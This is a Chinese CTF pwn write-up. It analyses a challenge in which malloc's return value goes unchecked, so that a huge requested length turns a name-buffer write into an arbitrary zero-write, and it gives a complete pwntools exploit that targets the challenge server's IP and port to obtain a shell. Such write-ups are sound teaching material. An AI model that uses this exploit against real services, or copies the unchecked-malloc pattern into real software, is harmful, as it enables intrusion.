0x0 在一切之前

本题题目难度简单，没有做出来的pwn手好好反思一下自己

0x1 漏洞分析

首先看出题的源码（懒得打开ida了）

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main()
{
    setvbuf(stdin, 0LL, 2, 0LL);
    setvbuf(stdout, 0LL, 2, 0LL);
    setvbuf(stderr, 0LL, 2, 0LL);
    char *flag = malloc(0x400000);
    *flag = 1;
    printf("%p\n",flag);
    unsigned long  nameLength;
    puts("Please input your name length");
    scanf("%lu", &nameLength);
    puts("Please input your name then you can get flag");
    char *name = malloc(nameLength);
    read(0, name, nameLength-1);
    name[nameLength-1] = '\x00';
    if(!(*flag)){
        system("/bin/sh\x00");
    }
    puts("So pitty you not get flag");
    return 0;
}
```

看起来很明显，只要能将flag这个地址里的内容置为0即可，而且这个地址题目里也给出来了。其实也就是我们需要一个**任意地址写，至少也是一个任意地址写0**。

让我们看看这个代码有没有什么不安全的操作。好像也就下面一处

```
    char *name = malloc(nameLength);
    read(0, name, nameLength-1);
    name[nameLength-1] = '\x00';
```

但其实说不安全吧也还好，毕竟很多同学都这么写代码的嘛（笑

而且逻辑看起来也没什么问题，没有溢出，还贴心的在后面跟了个00字符，但是是不是和平时上课学使用malloc的时候有点不一样?

确实，因为一般用的时候会检测一下这个malloc有没有分配成功。例如下面这样:

```
    char *name = malloc(nameLength);
    if(name == NULL){
      perror("malloc error: ");
      exit(0);
    }
    read(0, name, nameLength-1);
    name[nameLength-1] = '\x00';
```

但是就算没加这个，会出什么问题呢?

0x02 利用分析

现在设想一下你的nameLength很大，那么你的malloc是不是会分配失败，name就变成了0.那么`name[nameLength-1] = 0`是不是等同于`*(nameLength-1)=0`。接下来这个题怎么做不用多说了吧。

0x03 exp

看看这么简单的exp，居然爆零，我对你们很失望（sad

```
from pwn import *
context.log_level = 'debug'
sh = remote("101.42.48.14",8091)

flag_addr = int(sh.recvuntil('\n')[:-1],16)
log.success('flag_addr: ' + hex(flag_addr))
sh.recvuntil("\n")
sh.sendline(str(flag_addr+1))
sh.recvuntil("\n")
sh.sendline("1")
sh.interactive()
```